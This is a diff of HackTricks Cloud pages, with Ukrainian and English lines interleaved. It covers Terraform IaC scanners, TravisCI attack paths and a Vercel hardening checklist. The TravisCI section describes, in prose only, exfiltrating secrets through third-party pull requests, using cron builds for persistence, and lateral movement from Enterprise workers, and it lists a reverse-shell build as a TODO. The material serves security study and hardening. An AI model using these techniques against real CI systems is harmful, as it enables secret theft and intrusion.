- **розподіл обов'язків:** ви можете зберігати тести в окремому репозиторії, де відповідальна окрема команда.
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
|
||||
> [!NOTE]
|
||||
> На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати `terraform plan` і запустити цей інструмент.
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
З [**docs**](https://github.com/aquasecurity/tfsec): tfsec використовує статичний аналіз вашого terraform-коду для виявлення потенційних помилок конфігурації.
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
|
||||
- ☁️ Перевіряє на помилки конфігурації в усіх основних (і деяких менш значних) хмарних провайдерах
|
||||
- ⛔ Сотні вбудованих правил
|
||||
- 🪆 Сканує модулі (локальні та віддалені)
|
||||
- ➕ Оцінює HCL-вирази та буквальні значення
|
||||
- ↪️ Оцінює Terraform-функції, напр. `concat()`
|
||||
- 🔗 Оцінює зв'язки між Terraform-ресурсами
|
||||
- 🧰 Сумісний з Terraform CDK
|
||||
- 🙅 Застосовує (та доповнює) користувацькі Rego-політики
|
||||
- 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Налаштовується (через CLI-флаги та/або конфігураційний файл)
|
||||
- ⚡ Дуже швидкий, здатний оперативно сканувати великі репозиторії
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan — це статичний аналізатор коду для інфраструктури як коду. Terrascan дозволяє вам:
|
||||
|
||||
- Безшовно сканує інфраструктуру як код на предмет помилок конфігурації.
|
||||
- Моніторить надану хмарну інфраструктуру на предмет змін конфігурації, які спричиняють відхилення безпекового стану, і дозволяє повернутися до безпечного стану.
|
||||
- Виявляє вразливості безпеки та порушення відповідності.
|
||||
- Знижує ризики до розгортання cloud native інфраструктури.
|
||||
- Надає гнучкість запуску локально або інтеграції з вашим CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Виявляйте вразливості безпеки, проблеми відповідності та неправильні конфігурації інфраструктури на ранніх етапах життєвого циклу вашої infrastructure-as-code за допомогою **KICS** від Checkmarx.
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
|
||||
**KICS** розшифровується як **K**eeping **I**nfrastructure as **C**ode **S**ecure; це проєкт з відкритим кодом і необхідний інструмент для будь-якого cloud native проєкту.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan — це статичний аналізатор коду для інфраструктури як коду (Infrastructure as Code). Terrascan дозволяє:
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
|
||||
- Безшовно сканувати інфраструктуру як коду на предмет помилок конфігурації.
|
||||
- Моніторити створену хмарну інфраструктуру на предмет змін конфігурації, що призводять до відхилення безпечного стану (posture drift), та дозволяє відкотитися до безпечного стану.
|
||||
- Виявляти вразливості безпеки та порушення відповідності.
|
||||
- Знижувати ризики до розгортання хмарної інфраструктури.
|
||||
- Надає гнучкість запуску локально або інтеграції з вашим CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
## Посилання
|
||||
|
||||
## References
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Зловживання токеном Terraform Cloud turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Дозволи Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [Конфігурація провайдера AWS](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – Припущення ролі через OIDC](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Використання Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Чутливі змінні](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: небезпеки платформ автоматизації Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Запити на злиття Github вітаються, які пояснюють, як (зловживати) цими платформами з точки зору атакуючого
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,6 +11,9 @@
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Будь-яка інша платформа CI/CD...
|
||||
- Any other CI/CD platform...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,64 +2,67 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке TravisCI
|
||||
## What is TravisCI
|
||||
|
||||
**Travis CI** - це **хостингова** або на **місці** служба **безперервної інтеграції**, яка використовується для створення та тестування програмних проектів, розміщених на кількох **різних git платформах**.
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Атаки
|
||||
## Attacks
|
||||
|
||||
### Тригери
|
||||
### Triggers
|
||||
|
||||
Щоб розпочати атаку, спочатку потрібно знати, як запустити збірку. За замовчуванням TravisCI **запускає збірку при пушах і запитах на злиття**:
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Jobs
|
||||
|
||||
Якщо у вас є доступ до веб-додатку, ви можете **налаштувати cron для запуску збірки**, це може бути корисно для збереження доступу або для запуску збірки:
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Схоже, що неможливо налаштувати cron всередині `.travis.yml` відповідно до [цього](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### PR від третіх сторін
|
||||
### Third Party PR
|
||||
|
||||
TravisCI за замовчуванням забороняє обмін змінними середовища з PR, що надходять від третіх сторін, але хтось може це увімкнути, і тоді ви зможете створити PR до репозиторію та ексфільтрувати секрети:
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
|
||||
.png>)
|
||||
|
||||
### Витік секретів
|
||||
### Dumping Secrets
|
||||
|
||||
Як пояснено на сторінці [**основна інформація**](basic-travisci-information.md), існує 2 типи секретів. **Секрети змінних середовища** (які перераховані на веб-сторінці) та **кастомні зашифровані секрети**, які зберігаються в файлі `.travis.yml` у форматі base64 (зверніть увагу, що обидва, як зберігаються зашифрованими, в кінцевих машинах стануть змінними середовища).
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
|
||||
- Щоб **перерахувати секрети**, налаштовані як **змінні середовища**, перейдіть до **налаштувань** **проекту** та перевірте список. Однак зверніть увагу, що всі змінні середовища проекту, встановлені тут, з'являться при запуску збірки.
|
||||
- Щоб перерахувати **кастомні зашифровані секрети**, найкраще, що ви можете зробити, це **перевірити файл `.travis.yml`**.
|
||||
- Щоб **перерахувати зашифровані файли**, ви можете перевірити наявність **`.enc` файлів** у репозиторії, для рядків, подібних до `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` у конфігураційному файлі, або для **зашифрованих iv та ключів** у **змінних середовища**, таких як:
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Приклад збірки з реверс-шелом, що працює на Windows/Mac/Linux
|
||||
- Приклад збірки, що витікає змінну середовища, закодовану в base64, у логах
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
Якщо зловмисник опиниться в середовищі, яке використовує **TravisCI enterprise** (більше інформації про те, що це таке, в [**основній інформації**](basic-travisci-information.md#travisci-enterprise)), він зможе **запускати збірки в Worker.** Це означає, що зловмисник зможе переміщатися по горизонталі до цього сервера, з якого він зможе:
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
|
||||
- втекти до хоста?
|
||||
- скомпрометувати kubernetes?
|
||||
- скомпрометувати інші машини, що працюють в тій же мережі?
|
||||
- скомпрометувати нові облікові дані хмари?
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,45 +1,48 @@
|
||||
# Основна інформація про TravisCI
|
||||
# Basic TravisCI Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Доступ
|
||||
## Access
|
||||
|
||||
TravisCI безпосередньо інтегрується з різними git платформами, такими як Github, Bitbucket, Assembla та Gitlab. Він попросить користувача надати TravisCI дозволи для доступу до репозиторіїв, з якими він хоче інтегруватися.
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
|
||||
Наприклад, у Github він запитає про такі дозволи:
|
||||
For example, in Github it will ask for the following permissions:
|
||||
|
||||
- `user:email` (тільки для читання)
|
||||
- `read:org` (тільки для читання)
|
||||
- `repo`: Надає доступ на читання та запис до коду, статусів комітів, співпрацівників та статусів розгортання для публічних і приватних репозиторіїв та організацій.
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
|
||||
## Зашифровані секрети
|
||||
## Encrypted Secrets
|
||||
|
||||
### Змінні середовища
|
||||
### Environment Variables
|
||||
|
||||
У TravisCI, як і в інших CI платформах, можливо **зберігати на рівні репозиторію секрети**, які будуть збережені в зашифрованому вигляді та **дешифруватимуться і передаватимуться в змінну середовища** машини, що виконує збірку.
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
|
||||
.png>)
|
||||
|
||||
Можливо вказати **гілки, до яких секрети будуть доступні** (за замовчуванням всі) і також, чи **повинен TravisCI приховувати його значення**, якщо воно з'являється **в журналах** (за замовчуванням так).
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
|
||||
### Користувацькі зашифровані секрети
|
||||
### Custom Encrypted Secrets
|
||||
|
||||
Для **кожного репозиторію** TravisCI генерує **пару RSA ключів**, **зберігає** **приватний** ключ і робить **публічний ключ репозиторію доступним** для тих, хто має **доступ** до репозиторію.
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
|
||||
Ви можете отримати доступ до публічного ключа одного репозиторію за допомогою:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
Тоді ви можете використовувати цю налаштування для **шифрування секретів і додавання їх до вашого `.travis.yaml`**. Секрети будуть **розшифровані, коли буде запущено збірку** і доступні в **змінних середовища**.
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
|
||||
.png>)
|
||||
|
||||
Зверніть увагу, що секрети, зашифровані таким чином, не з'являться у списку змінних середовища в налаштуваннях.
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
|
||||
### Користувацькі зашифровані файли
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
|
||||
Так само, як і раніше, TravisCI також дозволяє **шифрувати файли, а потім розшифровувати їх під час збірки**:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -49,7 +52,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -57,32 +60,36 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
Зверніть увагу, що при шифруванні файлу 2 змінні середовища будуть налаштовані в репозиторії, такі як:
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise - це **локальна версія Travis CI**, яку ви можете розгорнути **у своїй інфраструктурі**. Уявіть собі «серверну» версію Travis CI. Використання Travis CI дозволяє вам активувати просту у використанні систему безперервної інтеграції/безперервного розгортання (CI/CD) в середовищі, яке ви можете налаштувати та захистити на свій розсуд.
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
|
||||
**Travis CI Enterprise складається з двох основних частин:**
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
|
||||
1. TCI **сервіси** (або TCI Core Services), відповідальні за інтеграцію з системами контролю версій, авторизацію збірок, планування завдань збірки тощо.
|
||||
2. TCI **Worker** та образи середовища збірки (також називаються образами ОС).
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
|
||||
**TCI Core services вимагають наступного:**
|
||||
**TCI Core services require the following:**
|
||||
|
||||
1. **PostgreSQL11** (або новішу) базу даних.
|
||||
2. Інфраструктуру для розгортання кластера Kubernetes; його можна розгорнути в кластері серверів або на одному комп'ютері, якщо це необхідно.
|
||||
3. Залежно від вашої конфігурації, ви можете захотіти розгорнути та налаштувати деякі компоненти самостійно, наприклад, RabbitMQ - див. [Налаштування Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) для отримання додаткової інформації.
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
|
||||
**TCI Worker вимагає наступного:**
|
||||
**TCI Worker requires the following:**
|
||||
|
||||
1. Інфраструктуру, де може бути розгорнуто образ docker, що містить **Worker та пов'язаний образ збірки**.
|
||||
2. З'єднання з певними компонентами Travis CI Core Services - див. [Налаштування Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) для отримання додаткової інформації.
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
|
||||
Кількість розгорнутого TCI Worker та образів середовища збірки ОС визначатиме загальну одночасну потужність розгортання Travis CI Enterprise у вашій інфраструктурі.
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,436 +2,439 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
У Vercel **Команда** - це повне **середовище**, яке належить клієнту, а **проект** - це **додаток**.
|
||||
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
|
||||
|
||||
Для перевірки безпеки **Vercel** вам потрібно запитати користувача з **дозволом ролі Переглядача** або принаймні **дозволом перегляду проекту** для перевірки (якщо вам потрібно лише перевірити проекти, а не конфігурацію Команди).
|
||||
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
|
||||
|
||||
## Налаштування проекту
|
||||
## Project Settings
|
||||
|
||||
### Загальні
|
||||
### General
|
||||
|
||||
**Мета:** Керувати основними налаштуваннями проекту, такими як назва проекту, фреймворк та конфігурації збірки.
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Передача**
|
||||
- **Неправильна конфігурація:** Дозволяє передавати проект до іншої команди
|
||||
- **Ризик:** Зловмисник може вкрасти проект
|
||||
- **Видалити проект**
|
||||
- **Неправильна конфігурація:** Дозволяє видалити проект 
|
||||
- **Ризик:** Видалити проект
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the project
|
||||
- **Risk:** Delete the prject
|
||||
|
||||
---
|
||||
|
||||
### Домен
|
||||
### Domains
|
||||
|
||||
**Мета:** Керувати власними доменами, налаштуваннями DNS та конфігураціями SSL.
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Помилки конфігурації DNS**
|
||||
- **Неправильна конфігурація:** Неправильні DNS записи (A, CNAME), що вказують на шкідливі сервери.
|
||||
- **Ризик:** Захоплення домену, перехоплення трафіку та фішингові атаки.
|
||||
- **Управління сертифікатами SSL/TLS**
|
||||
- **Неправильна конфігурація:** Використання слабких або прострочених сертифікатів SSL/TLS.
|
||||
- **Ризик:** Вразливість до атак "людина посередині" (MITM), що компрометує цілісність та конфіденційність даних.
|
||||
- **Впровадження DNSSEC**
|
||||
- **Неправильна конфігурація:** Невключення DNSSEC або неправильні налаштування DNSSEC.
|
||||
- **Ризик:** Збільшена сприйнятливість до підробки DNS та атак на кеш.
|
||||
- **Середовище, що використовується для кожного домену**
|
||||
- **Неправильна конфігурація:** Зміна середовища, що використовується доменом у виробництві.
|
||||
- **Ризик:** Витік потенційних секретів або функціональностей, які не повинні бути доступні у виробництві.
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
|
||||
---
|
||||
|
||||
### Середовища
|
||||
### Environments
|
||||
|
||||
**Мета:** Визначити різні середовища (Розробка, Попередній перегляд, Виробництво) з конкретними налаштуваннями та змінними.
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Ізоляція середовища**
|
||||
- **Неправильна конфігурація:** Спільне використання змінних середовища між середовищами.
|
||||
- **Ризик:** Витік секретів виробництва в середовища розробки або попереднього перегляду, що збільшує ризик.
|
||||
- **Доступ до чутливих середовищ**
|
||||
- **Неправильна конфігурація:** Дозволяючи широкий доступ до середовищ виробництва.
|
||||
- **Ризик:** Неавторизовані зміни або доступ до живих додатків, що може призвести до потенційних простоїв або витоків даних.
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
|
||||
---
|
||||
|
||||
### Змінні середовища
|
||||
### Environment Variables
|
||||
|
||||
**Мета:** Керувати змінними та секретами, специфічними для середовища, які використовуються додатком.
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Витік чутливих змінних**
|
||||
- **Неправильна конфігурація:** Префіксування чутливих змінних `NEXT_PUBLIC_`, що робить їх доступними на стороні клієнта.
|
||||
- **Ризик:** Витік API ключів, облікових даних бази даних або інших чутливих даних для публіки, що призводить до витоків даних.
|
||||
- **Чутливі вимкнені**
|
||||
- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, прочитати значення згенерованих секретів.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації.
|
||||
- **Спільні змінні середовища**
|
||||
- **Неправильна конфігурація:** Це змінні середовища, встановлені на рівні Команди, і можуть також містити чутливу інформацію.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації.
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Мета:** Налаштувати інтеграції репозиторіїв Git, захист гілок та тригери розгортання.
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Ігнорований крок збірки (TODO)**
|
||||
- **Неправильна конфігурація:** Здається, ця опція дозволяє налаштувати bash-скрипт/команди, які будуть виконані, коли новий коміт буде надіслано в Github, що може дозволити RCE.
|
||||
- **Ризик:** TBD
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
|
||||
---
|
||||
|
||||
### Інтеграції
|
||||
### Integrations
|
||||
|
||||
**Мета:** Підключити сторонні сервіси та інструменти для покращення функціональності проекту.
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Небезпечні сторонні інтеграції**
|
||||
- **Неправильна конфігурація:** Інтеграція з ненадійними або небезпечними сторонніми сервісами.
|
||||
- **Ризик:** Введення вразливостей, витоків даних або бекдорів через скомпрометовані інтеграції.
|
||||
- **Надмірні дозволи інтеграцій**
|
||||
- **Неправильна конфігурація:** Надання надмірних дозволів інтегрованим сервісам.
|
||||
